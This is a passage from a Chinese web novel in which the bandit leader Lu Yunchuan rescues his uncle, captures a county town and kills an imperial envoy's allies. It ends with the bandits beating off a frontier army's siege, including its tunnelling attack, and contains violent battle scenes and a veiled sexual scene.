《从成为悍匪开始》 第九十二章 有我在,别害怕 “婉清姐,你别哭了,先生他可厉害了,一定能把干爹救回来的……” 故人庄厅堂中,李婉清已哭作泪人儿,而其母周氏,更是在得知李良被抓后,直接便晕了过去。 终究还是养尊处优的大家闺秀,心里承受能力实在太差,反倒不如苏萍儿这么个小姑娘。 “让我听听,是谁在哭鼻子?” 陆云川大步走进厅堂,抖了抖肩膀上的积雪。 “陆云川!” 李婉清几乎飞扑了上来,直接便撞进了陆云川怀里,婆娑的泪光,语无伦次:“我爹他,他是读书人,肯定受不了囚禁,你快些去救他……” “有我在,别害怕。” 短短六个字,尽显铿锵与温柔。 李婉清鼻子一酸,将头埋进了陆云川胸膛,“你若能帮我爹渡过此劫,我……我便以身相许,嫁给你做压寨夫人。” “行,明日一早,我便带能带着你爹回来。” “那,明天晚上,我便洗干净在床上等你。” “……” 这倒是有点让人期待了。 陆云川辗转书房,崔世军,马山等核心庄客,被同时召见。 “当家的,根据千目堂传来的消息,果然不出您说料,钦差车驾在黑河边改道,前往了三台县。” 一名千目堂探子进书房禀报。 “钦差队伍目前到哪儿了?”陆云川问道。 “刚过六津渡,一千人的队伍,速度不算快,估计到了三台县,也得天黑去了。”喽啰说道。 陆云川点头应了声好,随即摆了摆手,探子抱拳告退。 “马山,如今庄上有多少名精英庄客了?”他又问道。 “经过这个把月的招募,已有八十七名庄客,都是至少能通过第一关考验的好手,若算上那些收养的流民庄稼汉,数量得有六七百吧。”马山说道。 “好,带五十名精英庄客,随我快马加鞭,先一步赶去三台县。” “明白!” 白顶山大部队若开拔,过境三台县必定会引起注意。 眼下李良与周大彪还在钦差手中,万一攻城时他们以二人性命作为威胁,还真会被束缚住手脚。 因此,以小规模潜入三台县,先想办法劫狱,只要救走李良等人,狂轰滥炸便无后顾之忧。 “快!” “务必在天黑前,先赶到三台县!” 陆云川轻装快马领衔在前,一行五十人在雪原中奔走疾行,火速赶往三台县。 两个时辰后,天已蒙蒙黑。 为避免与钦差队伍相遇,陆云川刻意选择走小路,避开了三台县正北门,从西南侧门进入三台县。 将马匹留在城外,留三人看守,其余人分批次,将刀剑裹在怀中,扮作贩夫走卒。 三台县的守备力量还是一如既往松散,没有什么意外,全部庄客顺利在天黑前进入县城。 而后,直接前往了鸿升赌坊。 昔日陆云川曾在这家赌坊中活捉过陈阿水,与赌坊老板孙发也有一定“交情”,先藏身于此再合适不过了。 赌坊今日没有生意。 孙发托着腮,坐在大厅中,自打上次陆云川教他用“水银骰子”与“磁铁”出千,生意果真步步高升,日进斗金。 可是,突然接到县衙的消息,说什么钦差到访,全城的青楼,窑子,赌坊通通不准营业。 一个晚上不营业,得损失多少钱呐! “孙老板,又来啦,又来啦!” 一个看场子的汉子,着急忙慌跑来赌厅。 “官府的人不是才来过么?我这大门都已经关了!”孙发不耐烦道。 “不是官差,是绿林好汉,姓陆的那位!” “唰!” 孙发猛地从椅子上窜了起来,“他……他在哪儿?” “我在这儿呢,孙老板。” 陆云川面含微笑,从后院拐了进来。 马山等五十名庄客,齐刷刷走进了赌厅。 瞧着阵仗,孙发头冒虚汗,怎么每回都是这么多人啊? “陆当家的,您这是要哪样啊?”他小心翼翼试问。 “来三台县办点事情,借你贵地暂避片刻,孙老板不会介意吧?”陆云川问道。 “凤凰栖身乌鸦窝,小店该蓬荜生辉才对,当然不皆介意了,来人呐,上好茶——” “哎,茶便不必了。” 陆云川微微抬手,来到门边敞开一条缝,此时官府衙役正在肃清街道上的行人,为迎接钦差驾临做准备。 还好早一步进城了,若再晚半个时辰,还真不一定能进得来。 “钦差过境,闲人回避!” 街头传来一声吆喝。 钦差队伍浩浩荡荡游街而过。 三台县令周泉以及若干官吏走在最前,而后才是谢安的车驾,以及卫兵、官兵与衙役。 周大彪背着李良,走在卫队中间,脚下还拖着沉重镣铐。 “周县尉,你放我下来吧……” “李大人,我身上有的是力气,都背一路了,也不差这一节!” 周大彪虽说如此,可背着百十来斤的人,徒步走了六七十里,脸上还是有难以掩饰的疲态,他骂道:“他妈的,连口水都不给喝,好歹老子们也是朝廷命官!” “也不知婉清如何了……” “放心吧李大人,陆押司全城都是眼线,咱蹦个屁他都能知道,李小姐与夫人肯定无恙的。” “唉,贤侄啊,你究竟在哪里……” 李良仰天长叹,千万忧愁。 事实上,你贤侄,正在对门看着你呢。 陆云川板着脸,缓缓关上了房门。 “孙老板。” “在……在……陆当家有何吩咐?” 这明眼人都看得出来,这位煞星肯定是冲着钦差来的,孙发极其小心翼翼上前搭话。 “听说你手下这帮人,大多数都进过县衙牢房对么?”陆云川问道。 孙发咧了咧嘴,“那都是以前的事了,现在我是正经生意人……” “想加入我白顶山么?”陆云川问道。 “自然是想啊。”孙发当即说道:“白顶山如今的威名,响彻了整个大西北……不瞒陆当家的,上回见识过您的手段后,我便有这个想法了,只是一直不敢开口。” “好,我便给你个纳投名状的机会。” 陆云川回头命令道:“今夜二更时分,你与我身后这帮兄弟,前往县衙牢房,劫狱。” 第九十三章 攻打三台县 “陆当家的……那可是朝廷重犯啊,肯定有卫队看守,凭咱们这群兄弟……” 孙发扫了一眼崔世军等人,虽说个个都是煞星,可京城来的卫队都是禁军,也绝不是吃素的。 “你不用担心,我自有妙计能将守卫全部引开。” 一旦攻城战打响,以三台县的城防力量肯定挡不住白顶山,禁军卫队必会被抽调去增援,大牢看守自然也就会变得薄弱。 这一切都在陆云川的计划之中。 夜,渐渐深沉。 二更前夕。 忽然,两辆马车在四名护卫的护送下,停在了赌坊对面的百花楼前。 马车下来两人,正是县令周泉与钦差谢安,二人都已脱下官袍换上便服,遮遮掩掩结伴走进百花楼。 “当家的,错不了,那厮就是谢安。” 马山曾在平川县门口见过谢安的模样,因此十分肯定。 ‘“真没想到,这位钦差竟如此风流,出来办差都不忘喝花酒。” 陆云川冷哼了声,正愁不知道该去哪儿找这谢安呢,没想到竟自己送上门儿来了。 “正巧,我也有些口渴了,去讨一杯花酒吃吃。” 陆云川道:“马山,你们七兄弟随我一起;世军,你与其他兄弟时刻警惕,等我信号行事。” “明白!” 陆云川便带着马山等人,来到百花楼前。 百花楼大门紧闭着,毕竟钦差狎妓,若传出去没好名声。 “哒哒哒。” 陆云川敲响了百花楼大门,说起来他与这百花楼老鸨罗金花也算是熟人了。 “谁呀?不知道今日不接客么?” 楼门打开,罗金花探出脑袋,一看见是陆云川,当即便是一惊,“官人,是……是您啊……” “渴了,来讨一杯酒吃。” 陆云川便要进门。 “不行啊官人,今日百花楼被人包场了,您还是改日再来吧……”罗金花拦在了门口。 “楼中佳人佳酿那么多,谁的胃口那么大,全部吃得下?” 陆云川没有理会,径直往里走。 “这——” “嗯!” 马山等人亮出怀里的朴刀,睁大眼睛瞪向罗金花。 吓得半老徐娘浑身一哆嗦,赶紧让开了道,“不是啊官人,今日包场的客人,非比寻常啊……” “怎么个非比寻常法?” “有县令!还有钦差……那可是从京城里来的大官儿啊!” “穿鞋的,光脚的,戴乌纱的,穿官服的,一刀下去,都得死,又怎么就非比寻常了?” 陆云川冷声问道:“他在几楼几室?” 罗金花算是知道了,这帮人连钦差都敢砍。颤颤巍巍指了指楼上:“二楼左手边壹号雅间……” 陆云川冲马山等人使了个眼色,“四个守卫,别闹出太大动静。” 马山等人心领神会,点了点头,拔出藏在衣服里的朴刀,径直往楼上走去。 罗金花连忙捂住眼睛,颤声道:“官人,雅间里还,还有四个姑娘,都是可怜人儿……” 一口气叫四个姑娘?陆云川轻嗤了声,老子的胃口都没那么大。 “放心,今夜该死的逃不了,不该死的一根头发丝儿都不会伤着。” 陆云川大袖一甩,往楼上走去。 此刻,雅间中。 谢安与周泉,左拥右抱花娘,好不快活风流。 “实不相瞒啊谢大人,我早就怀疑那李良勾结土匪了。” 周泉说道:“当初他主动来找我,想联合三台县剿水匪,我一时没答应,当天晚上,白顶山那群天杀的草莽便闯进我官府,杀了我管家,人头就摆在我床上,将我爱妾都吓疯了!” “哦?那李良看起来文弱无害,没想到竟如此心狠手辣。” “人心隔肚皮,他那都是装的……哦对了,他还有个侄儿,一副阴险狡诈的嘴脸,看起来就不是好鸟儿,我猜啊,那人多半与白顶山有关!” “哦?其侄儿叫什么名字?”谢安问道。 周泉思索道:“好像姓……姓陆,陆什么来着——” “我叫陆云川。” “咵!” 雅间大门被一脚踹开,陆云川冷着脸,背手走了进来。 “你你你!” 周泉吓得一屁股摔下座椅,“是他……是他,李良的侄儿!” “大胆!来人呐——” “不用喊了,你那几个守卫,已经死透了。” 马山,石凯,汪洪波,三人提着染血的朴刀走进雅间: “无关人员,速速离去!” 四名花娘赶忙离开了雅间,随即,马山关闭了房门。 “周大人,陆某如此人畜无害的一个人,怎么到你嘴里便成了阴险狡诈之徒?嗯?” 陆云川冷冷看了一眼缩在桌子底下的周泉,冲马山摆了摆手。 “狗官!当初你那家仆的人头,看来没给你长记性!” 马山将周泉从桌底下拽出,跟杀猪一般,一刀割开了他的喉咙。 谢安见到如此血腥狠辣的场景,吓得坐在椅子上不能动弹,他也是个养尊处优的官宦子弟,没见过什么大风大浪。 陆云川搬了张椅子,就坐在了谢安对面,淡定倒了一杯,边喝边问: “该怎么办呢,谢大人?” “我乃朝廷钦差,你若敢杀我,便是藐视皇权——” “啪!” 马山一个耳刮子,狠狠抽在谢安脸上,当即叫他牙崩嘴裂,“你狗屁钦差,你现在就条任人宰割的狗!” “放……放了我,一切都好说……否则我麾下一千卫队精兵,你也插翅难逃……”谢安呕血说道。 “是么?那我就让你看看,你这一千精兵是怎么没的。”陆云川冲石凯使了个眼色。 石凯推开窗户,从怀中摸出一颗火流星,朝着夜空放射。 “嗖!” 火流星窜天直上,在黑夜中分外耀眼。 “该行动了,走!” 赌坊中的崔世军等人蒙上面罩,在孙发的带领下,由街巷小道向县衙牢房靠近。 与此同时,三台县外。 “陆头儿发信号了,兄弟们,随我冲锋,拿下三台县!” 胡大勇瞧见火流星,当即振臂高呼。 暗伏于县城外的五千名白顶山喽啰,点着火把,扛着云梯,推着硬弩,捧着炸药,由骑兵带头冲锋,向三台县发起猛攻。 “冲啊!” 刹那之间,杀声震起,火光冲天! 第九十四章 春宵一刻值千金 小县城,很好打。 没有护城河,没有瓮城,城墙不高,守军薄弱。 几轮火药轰炸下来,撞门锤都不用,便轻而易举冲破了城门。 五千白顶山喽啰,呼喊着冲进三台县,仅是杀声便已吓破了守军的胆。 钦差所带来了的精英卫队,甚至连支援都还没来得及,三台县城便已沦陷在铁蹄与朴刀之下。 “土匪进城啦!” 恐慌与喧嚣,充满了整个县城。 陆云川站在窗户前,聆听着浸夜的杀声,神情淡定自若。 “你……你这是要谋反么?”谢安颤声道。 陆云川冷冷一笑,“风水轮流转,今年到我家,自古以来强者为尊,怎么能说谋反呢?” “今夜过后,边军定来围剿,你一个小小的土匪,岂能与大昭王朝对抗!”谢安呵斥道。 “这就不劳你费心了,我既然敢干此事,便有安身立业之计。” 陆云川摆了摆手,“留他一命,我有大用。” 马山一刀背将谢安拍晕了过去。 半个时辰后。 城内杀声渐消,看样子攻城战已差不多结束。 “陆头儿,三台县城已被我们拿下,就是还有些禁军卫兵在抵抗,不过我们已封锁了所有城门,天亮之前应该便能剿杀干净!” 胡大勇身着染血铠甲,进入百花楼禀报。 “陆头儿,李大人,周县尉等人已悉数解救而出!” 胡大勇带着李良,周大彪等官吏也回到百花楼。 “很好,今夜目标已经完成,接下来听我安排。” 陆云川说道: “投降者留,不降者杀; 将周泉等官吏尸首,悬于城门之上,以替天行道旗号,公告其罪行; 既已拿下三台县,资源通通都得带走; 十日之内,三台县境内的每一粒米,每一粒盐,每一块铁,每一头牲畜,通通带回平川县; 至于三台县人口,你去告诉他们,若愿意迁徙平川县,我将保留其家业, 不仅如此,先前被周泉强征暴敛的税钱,全部按三年退还; 他们原有的田地,也会按照地契,在平川县境内统一划分配,且再免税两年; 当然,这一策略只适用于平民百姓,至于那些地主豪绅,抢了便是。” 正如谢安所说,今夜过后,朝廷必定派遣边军镇压。 三台县不是陆云川的地盘儿,难以坚守。 将人口钱财等资源全部掠夺,返回平川县,竖壁清野,以城据守,方为上策。 安排完一切,陆云川便带着李良等人返程平川县。 “贤侄,你为了我,将对抗整个大昭朝廷,唉……” 一路上李良都在低头叹气。 这人吧,被抓了叹气,被救了也叹气…… 从陆云川认识他到现在,好像就没见他哪回不叹气过。 “叔父不必愧疚,原本呢,我是想多招募些人,好一举拿下凉州城,岂料半路杀出个钦差来,攻城略地的计划也就提前了,不过本质上大差不差了。” “原来贤侄早就想谋反……呃……” “叔父,记得你说过这么一句话:‘男人就应该先立业再成家’。” 陆云川冲李良笑了笑,“我现在不就是在立业么,只不过这‘业’嘛,立得比较大而已。” “唉……事已至此,也无需去追究对错了,我李良兢兢业业为朝廷效力二十年,最终却落得这个下场……这大昭王朝,是该换个天了。” 李良说着,又担心道:“只是事情闹得这么大,边军必定会来镇压,那可不是小打小闹,动辄可就是几万大军啊……小小一个平川县,如何能抵御得了?” “平川县肯定挡不住边军,可我还有白顶山,黑云山,白水涧,故人庄呢。” 原先陆云川制定的“大四角战略”,就是为了防御大规模边军来镇压。 如今,山路,水路,陆路,三路皆被他掌握在手,再多的边军都别想撼动分毫。 就怕边军不来,来得越多越好,到那时全给他娘收编了,自己势力方能更上一层楼。 “唉……” “叔父!” “如何?” “你别叹气了好不?算我求求你了。” “呃,好,好……以后不叹了,不叹气了……” 确实,半道儿上捡了个这么能干的贤侄,还叹哪门子气啊? 回到故人庄,恰好是天亮。 李家父女相拥而泣,堪比年度感情大戏。 陆云川则将周大彪叫到了屋外。 “周县尉,当初我让你留在白顶山,你死活不肯,现在呢?” “周大彪,原为当家的,效犬马之劳!” 周大彪毫不犹豫,单膝跪地,抱拳参拜。 白顶山又添一员虎将! “好,从今日起,我封你为青龙堂副堂主!” 陆云川大喜,赶忙扶起周大彪,“周堂主在职平川县尉多年,今后县城防务便由你来总领,那么平川县的官兵,也得由你来游说一下了。” “多谢当家的!黄涛那帮家伙,自打上次攻打黑云寨回来后,便老吵着想入伙了,这会儿算是正中下怀了,属下这便回去将好消息告诉他们!” 周大彪抱拳告退。 陆云川欣慰极了。 其实平川县的衙役,官兵,百姓,都很拥护李良与周大彪,让他俩继续管理平川县的军政,再合适不过了。 “啊……” 陆云川伸了个懒腰,从昨日至今,他已有一天一夜没合过眼了,已经困得头重脚轻了。 简单洗漱了一番,便回卧房里睡觉了。 不知睡了多久,忽闻一阵沁人心脾的兰花香。 陆云川缓缓睁开了眼,窗外已经天黑,房中已亮起烛火,炭火烧得通红发亮,屋子里十分温暖。 李婉清不知何时,已跪在了床尾,她半穿衣裳半披纱,玲珑娇躯若隐若现,脸上泛起的红晕比火盆里的炭还要红。 她还真把自己洗白白送上床榻了。 “干嘛……” “你想干嘛?” “你想干嘛,我便干嘛……” “你这话说的,那就干吧……” 陆云川一把拽过美人儿,囊括进怀抱,面对面,四目相对,笑道:“先说好,我可是睡了一天的,真在精神饱满,体力充沛,可能一晚上都不会再睡了……” 惊恐,兴奋,羞涩,呼吸急促,李婉清美眸似秋水,更多的是情意绵绵。 “日后若有多的压寨夫人,我也得是大房才行……” “好说,好说。” 都这个节骨眼儿了,什么话都好说。 “哎,你去将灯熄了嘛……” “熄了灯太黑。” “太黑又怕什么?” “太黑……我对不准。” “讨厌!” “呵呵呵……” 陆云川抓起枕头,随手一扔,将烛台打灭了过去,而后被子一拉,抱着美人儿缩进被窝。 屋外是雪落下的声音,屋内是翻云覆雨的低吟,连探窗的风儿都羞涩了。 花有清香月有阴,春宵一刻值千金。 第九十五章 兵临城下 次日醒来。 陆云川从梦中醒来,那愉悦的快感,就像做了一场春梦。 但春梦过后是无尽的空虚,而眼下真实得回味无穷。 李婉清浑身发烫,像极了一颗烤红薯,脸颊红得跟猴子屁股差不多,她匍匐在陆云川胸膛,睁着的眼睛直勾勾,每一口呼吸都温热无比。 “李小姐,你咋了?”陆云川挑眉问道。 “我好热,热了一晚……”李婉清摇了摇头,声音低沉。 这古代女人,还真是纯呐。 陆云川用手摸了摸她的额头,“你好像发烧了……” “那该怎么办?” “嗯,问题不大,打两针便好啦。” 陆云川笑着拉过被褥,再入春风,梅开二度。 …… 接下来几日。 一切防御措施,都按照陆云川制定的计划有序进行着。 一直到第七日,正月初三上午。 “当家的,据千目堂传来消息,雍凉路已从前线抽调三万大军,由都统治‘常胜将军’王彦亲率,正朝着平川县杀奔而来,最迟三日便要兵临城下了。” “召各堂主入庄,制定作战计划。” “是!” 下午。 众堂主与骨干齐聚于故人庄客堂。 “防御体系,构建得如何了?” 陆云川先问防御。 “回禀当家的,平川县与三台县的所有粮仓全部搬空,分别囤积于平川县城,白顶山,黑云山,白水涧; 所有迁徙而来的移民,全部被安置在平川县后方,由故人庄统一管理; 炸药,酒精,鱼油,雷石,滚木,强弓,重弩,凝血散,全已准备就绪; 咱们寨子与平川县,皆已升级为铁门,墙体加宽加厚; 山上的树林中,县城的城墙外,全部都已设置好地陷,捕兽夹;城墙内也已设置好瓷瓮铃铛,提防敌人掘地道偷袭; 经三台县一役后,加上收编的俘虏,新招募的兵丁乡勇,我军总兵力已有一万五千人,随时听候当家的您进行调度!” 很好,果真面面俱到。 “好,诸位堂主听令。” 陆云川开始制定作战计划: “胡大勇,孙铭,你们领两千兵马,镇守白顶山,记住,只用据山关坚守,绝对不能进攻; 沈风,许畅,你们领两千兵马,镇守黑云山,同样的,只准防守不准进攻; 崔世军,马山,你们领一千兵马与庄客,守在故人庄,确保平川县后方移民的安全; 张三儿,刘伟,我给你们五千兵马,并且负责看押钦差谢安,就留在白水涧,时刻等待我号令;” 宋康,周大彪,你们领剩下的五千兵马,随我一起镇守平川县; 所有互通的信书,不论是飞鸽传书,还是探子亲传,皆必须认准我的字迹,我的印章,以及荧光防伪标识,只要缺一项,便是假书,都懂了么?” “明白!” “好,张三儿留下,其余人各司其职,回去整顿军备,以好应战。” “是!” 众人退去,只留张三儿一人在厅堂。 “张三儿,我要交给你们千目堂一个很重要的任务。” 陆云川凑近张三儿身边,压低声音说道:“你回去找几名精明能干的探子,给我翻过阴山,到蛮国军营里散布消息; 就说大昭王朝从边关抽调了五万边军镇压叛乱,边关防御力量大大削弱。” 眼下正月初三,恰好立春时节,西北寒冬会慢慢回暖,蛮国的攻势也将重启。 一旦蛮国听到大昭边军削弱,势必会趁火打劫。 剿灭不土匪,只是丢一块地; 抵抗不了蛮兵,丢的可就是国家了; 以蛮国迫使大昭退兵,此乃“驱虎吞狼”之计。 “属下明白,可是当家的……” 张三儿疑惑道:“胡老大他们都只留了两千人镇守山关,为何你要在白水涧屯兵五千啊?还把钦差这么重要的筹码放在白水涧?” 陆云川笑着淡淡回了八个字:“自有妙用,不必多问。” “也是,当家的用计,就没出过岔子。” 张三儿抱拳,退出客厅。 …… 三日后,黎明时分。 凉州边军三万铁甲列阵开来,黑压压的军阵如乌云一般,在苍白的雪原中格外醒目。 都统治王彦身披铁甲,手持长槊,常年征战四方的他,皮肤粗糙黝黑,似乎连下巴的胡须,都能坚硬得将敌人戳死。 “哼,杀鸡焉用宰牛刀?一群小小的土匪,竟也用得上本将军?” 当然,还有头顶“常胜将军”名号的傲气。 “王将军,万万不可轻敌啊。” 黄杰作为本次随行参军,由衷出声劝道,“这帮土匪与其他乌合之众不同,原先我与张统治便是败于盲目自信之下,而且咱们一路走来,所有粮仓与房屋,都被一炬焚烧,显然他们是做好了坚壁清野,死守县城的打算了。” “哼,战败是你们谋略不足,战斗力不行。” 王彦傲目眺望着平川县,不屑道:“比它墙高数倍的要塞本将军都拿下过,一座小小的县城,本将军三日可破。” “那是那是,王将军乃边军翘楚骁将,说不定那厮听到您的名号,都会吓得开城投降。” “哈哈哈……倒也不是不可能!不过这匪首竟然挟持钦差,滥杀朝廷命官,哪怕他开城投降,本将军也要取他首级,以证我大昭天威!” 王彦振臂挥手,“大军,全速前进!” 一刻钟后,兵临城下。 “姓陆的!王将军率大军已至,尔等若识相的话,速速开城投降,将钦差送还出来,否则血流成河,伏尸千里!” 黄杰有了边军做底气,扯着嗓子冲城墙上吆喝。 城墙上,陆云川肩披黑色大氅,坐在椅子上淡定自若,他抬手一挥,城头顿时竖起十面黑旗,旗上绣着血红“替天行道”四个大字。 代天巡狩的“天”指的是皇帝。 替天行道的“天”指的是天道。 从字面意思上,格局就要高出不少。 “黄通判,你既然这么忠君爱国,依我看不如这样,你来代替钦差,做我的人质如何?”陆云川大声问道。 “这……” 黄杰顿时哑口无言,扭头看向王彦: “王将军,您瞧瞧,这土匪头子,简直嚣张入骨了!” “呵!” “全军听令……攻城!” 王彦不多废话,挥槊怒吼。 第九十六章 血战平川 凉州军前锋列阵,三千弓弩手齐步推进,黑压压的箭矢如乌云般遮蔽天日。 王彦立于阵前,冷声喝道: “放箭!” “嗖嗖嗖——” 箭矢破空,如暴雨倾泻而下,钉在城墙上发出密集的“砰砰”声。 “竖盾!” 守军迅速架起浸湿的牛皮大盾,箭矢钉入盾面,却难以穿透。 然而,仍有数名守军被流矢射中,惨叫着跌落城头。 “重弩,弓箭,齐射!” 守军盾牌后,弓弩手交叉射击,予以边军颜色。 居高临下的优势,边军死伤更多。 双方互关箭雨过后,边军正式发动攻城。 “冲啊!” “破城先登者,赏金千两!” 边军扛着扛着云梯,攻城车,在盾牌兵的掩护下,向城门猛冲。 陆云川站在箭楼高处,目光冷峻,他抬手一挥,城头守军立刻变换阵型,盾牌手后撤,露出早已准备好的“鱼油桶” “倒油!”陆云川厉喝。 数十名壮汉合力抬起巨大的木桶,将黑漆漆的鱼油倾倒而下。 粘稠的液体顺着城墙流淌,浸透了云梯、攻城车,甚至边军士兵的铠甲。 “退!快退——” 城下大喊,但为时已晚。 “”火箭!”陆云川再喝。 城头弓手早已搭箭引火,此刻齐射而出! “”轰——” 鱼油遇火即燃,整面城墙瞬间化作火海! 烈焰如怒龙般翻腾,吞噬了凉州军前锋。 云梯被烧断,攻城车在火中崩裂,士兵惨叫着翻滚,却无法扑灭身上的火焰。 “将军,对面……有鱼油,我军排头兵死伤惨重啊!” 被烧得脸颊黢黑的先锋官,跌跌撞撞跑了回来。 “还真不能小觑这帮土匪!鱼油这种东西,边军中都十分珍贵,他们却扔得如此放肆!” 王彦咬牙怒视,迅速调整战术:“龟甲盾阵掩护!不惜一切代价!冲车破门!” 凉州军重甲步兵举起铁盾,组成龟甲阵,掩护冲车推进。巨大的冲车包覆铁皮,前端是尖锐的铁锥,狠狠撞击城门! “咚——!” 城门震颤,木屑飞溅。 不愧是正规部队,好阵法!城楼上的陆云川心里暗赞,不过可惜遇到了我! “用炸药,掀翻这龟壳!” 陆云川抬手一挥,守军再度换阵,瓷罐作恶的炸药,一枚接着一枚扔下城墙。 “轰隆!!!” 接二连三的爆炸声震耳欲聋。 刚开始龟甲阵尚能抵挡一二,可随之爆炸接连不断,“龟壳”开始出现缝隙,最终被炸药所瓦解! 盾牌四溅,血肉横飞! “再放滚木!” 城头守军合力推下巨大的滚木,木身布满铁钉,顺着城墙滚落,砸向凉州军盾阵! “”砰!砰!砰!” 铁盾被砸得凹陷,士兵被碾成肉泥。 “雷石!” 硕大的雷石紧随其后,如陨石般砸入军阵,凉州军死伤再度惨重。 “王将军,龟甲阵也不管用啊,城墙上有威力巨大的火器,能开山裂石……” 先锋官满脸鲜血,眼中有难以掩饰的恐惧,别说是他,其余将士皆是如此。 “王将军,对方奇招,强攻损失太大,不如先撤退,再寻其他契机破城。” 黄杰生怕王彦杀红了眼,急忙出声劝道。 王彦咬牙切齿,虽心头愤怒,可战损全都看在眼里,不得已他挥了挥手,“鸣金收兵!” “鸣金收兵!” “当当当……” 听到钟声响起的边军,纷纷狼狈逃回本阵。 “后退十里扎营!” 边军向后撤退,只留下迷雾硝烟与遍地尸首。 “哼,什么常胜将军,我看攻城手段也不过如此嘛!” 周大彪望着后撤的边军嗤之以鼻。 “这才刚刚开始,不要小看了敌人,传令下去,填充物资,抓紧清扫现场,谨敌人防夜袭。” 陆云川紧声令道。 方才得第一轮交锋,他在城上都看在眼里,若非自己有炸药这种杀器,还真不一定能破得了敌人的方阵。 边军武器装备绝对是有东西的,那么他们的战术层面也绝不会停留在强攻,接下来必须严阵以待,万分谨慎。 “是!” …… 十里外。 由于陆云川竖壁清野之策,周围的房屋与树林几乎都被焚毁,找不到木材,边军所扎的营寨只能是“低配版”,就连瞭望塔都矮了半截。 “咚!” 中军大帐中,王彦怒锤案桌,往嘴里“咕噜咕噜”灌了几口大酒,骂道: “真是可恨!这些土匪都是从哪儿冒出来的,装备竟如此精良!为何情报上一点也未提及!” “王将军,早在出征前,我便与你提醒过,这帮土匪的火器非比寻常,否则先前我那五千凉州军也不至于全军覆没……” 黄杰只敢在一旁小声嘀咕,下时又提议:“要不,试一试围城?” “围城?怎么围?我从边关远调而来,粮草只够吃七日,只怕还没围到对方献城,自己先饿死了。” 王彦灌了口酒,抬头看向黄杰,“说起这事儿,黄通判,我为你们凉州打仗,这后续粮草问题,你可得给我解决了。” “这个王将军放心,出征前州衙便已去筹粮,保证不会让您与将士们饿肚子的……” 黄杰说道:“只是,若平川县匪患除不了,救不下钦差,时间拖久了,传到陛下的耳朵里,恐怕你我都得遭到连坐啊……” “哼,这个就不用你操心了,胜败乃兵家常事,一次失利算不得什么,破城妙计,本将军多得是!” 王彦朝着帐外呼喊了一句:“陈世钊!” 一名黑家小将进入大帐:“末将在!” “县城正面强攻不下,是时候该你的‘掘子军’出力了。” 王彦命令道:“今夜子时,夜深人乏,你从县城侧翼给我开掘一条地道出来,若能从内偷袭破敌,记你一等军功!” “将军放心,末将定不辱使命!” 陈世钊抱拳退出大帐。 “原来王将军还有这么一支奇兵啊!”黄杰大赞。 “那是自然!陈世钊原本是西北出了名的盗墓贼,被我收编麾下,这世上就没有它挖不了的墙角,凿不开的洞!” 王彦“啪”一声,捏碎手中酒杯,狠声道:“待明日辰时破城,本将军定要拿那匪首的脑袋当酒盅!” 第九十七章 地听之术 子时三刻,陈世钊率领三百掘子军借着夜色掩护,悄然潜至平川县城西附近。 此处荒草丛生,积雪深厚,离城墙守军视线较远,是绝佳的挖掘点。 “沙沙沙……” 踩雪的细微声。 “都给我小心点儿,别发出声音——” “啊!” 陈世钊刚要提醒,脚下突然传来一阵猛烈的疼痛,他急忙咬紧腮帮子,忍住不发出声音,低头往下一瞧,竟然是一枚捕兽夹。 “快给老子把夹子掰开!” 几名士卒连忙合力,将捕兽夹掰开,陈世钊小腿鲜血直流,疼得几乎颤抖:“没想到他们竟然在意雪地里设置了陷阱……” “陈头儿,这下该如何是好啊?”身后士卒问道。 “哼,老子从小便以盗墓为生,这点机关陷阱,岂能拦得住我?” 陈世钊低声吩咐道:“传令下去,三人为一排,竖着向前移动,走在最前面的,先铲子插入雪中探路!” “明白!” 掘子军三人成行,一百人成列,按照陈世钊的方法,一边探索一边往墙角下靠近。 不得不说,这盗墓贼还是有几手本事,捕兽夹与地陷被一一清扫了出来。 一刻钟后,掘子军摸索到城墙下。 陈世钊低声下令:“三人一组,轮换挖掘,务必在天亮前打通!” “是!” 掘子军动作迅捷,铁铲、鹤嘴锄翻飞,泥土被无声运出。 他们采用“斜井式”挖掘法,先垂直下挖三丈,再转向城墙方向,避免被守军察觉震动。 “陈头儿,已挖至城墙地基!”一名士兵低声汇报。 陈世钊擦了一把额头的汗水,“”继续!绕过地基石,直插城内,待明日破城,头等功便是你我!” “沙沙沙……” 有序无声地挖掘着。 可即便他们动作再轻便,铲土的震动也是必然的。 陆云川为了避免敌人掘城,早就命人在县城墙内埋下瓷瓮。 空瓮在地底下,可放深处的挖掘声,在瓮口系一根细绳,一直连接到城壕上的哨口, 再在细绳末端挂一支铃铛,声音导致细线震动铃铛便会发出声响。 “叮铃铃……” 在绝对无风的状态,铃铛绝对不会晃动。 “城西附近好像有动静,快,去禀告当家的!” 哨口的卫兵已察觉异样,赶忙向城楼方向跑去。 一刻钟后。 陆云川带着宋康悄然来到哨口,瞧着有序晃动的铃铛,嘴角微微上扬,轻哼了一声,“拙计。” 攻城战役,要是正面无法破城,就只剩下另外两种战术,要么围城困敌,要么挖地道偷袭。 很显然王彦选择了后者。 “当家的,几个空瓷瓮,一根细丝线,一个小铃铛,就能判断敌人在掘地?” 宋康挠着头,实在不理解。 “这个原理就跟传话筒一样——两个竹筒中间穿一根绳子,对着筒口说话,另一个筒便能听见。” 陆云川笑道:“你信不信,只要我在这根丝线上安置一个竹筒,朝着它说一句话,对面瓷瓮里便会有我的声音出现?” “瓷瓮若是开口说话了,能将那群地耗子吓出尿来。” “呵呵呵……走吧,咱们去看看那帮挖墙角的究竟是什么货色。” 陆云川便带人沿着细线的方向,来到城西附近的城墙上。 在暗淡的夜光下,一伙人影正不停忙碌,动作非常轻盈有序,但仔细聆听,“沙沙沙”挖掘声还是相当明显。 “没看出来,这帮人还挺专业的嘛。” “在边军中的确有这么一帮人,专门负责挖地道,不是矿工就是盗墓贼出身。” “这么说来,他们还是‘特殊兵种’了?” 陆云川眼睛一亮,这种会挖地道的“特种兵”,就应该收入麾下。 “待会儿暗伏于墙角,等他们进来再一网打尽。” “明白。” …… 墙角下,不知早已被盯上可陈世钊等人还在不停挖。 经过两个时辰的努力,掘子军的地道已延伸至城墙内侧。 “咔哒!” 陈世钊一铲子刺破硬土,一缕夜光洒入漆黑的地道,他又连续挖了几下,清理了一番头顶的土块, 探出一颗脑袋,日出张望了一番,确认四下里无人,才缩回去道: “兄弟们,我们已经打通城墙了,后面的,速速回去禀报王将军,其余人,随我迅速入城埋伏!” 陈世钊交代完,率先爬出洞口,接着其余掘子军相继爬出地道。 等三百名掘子军全部爬出后,陈世钊又找了些杂草盖住洞口,最后覆上一层积雪,完美将地道隐藏。 “走,咱们向城门迂回,明日卯时,等将军信号,与边军里应外合——” 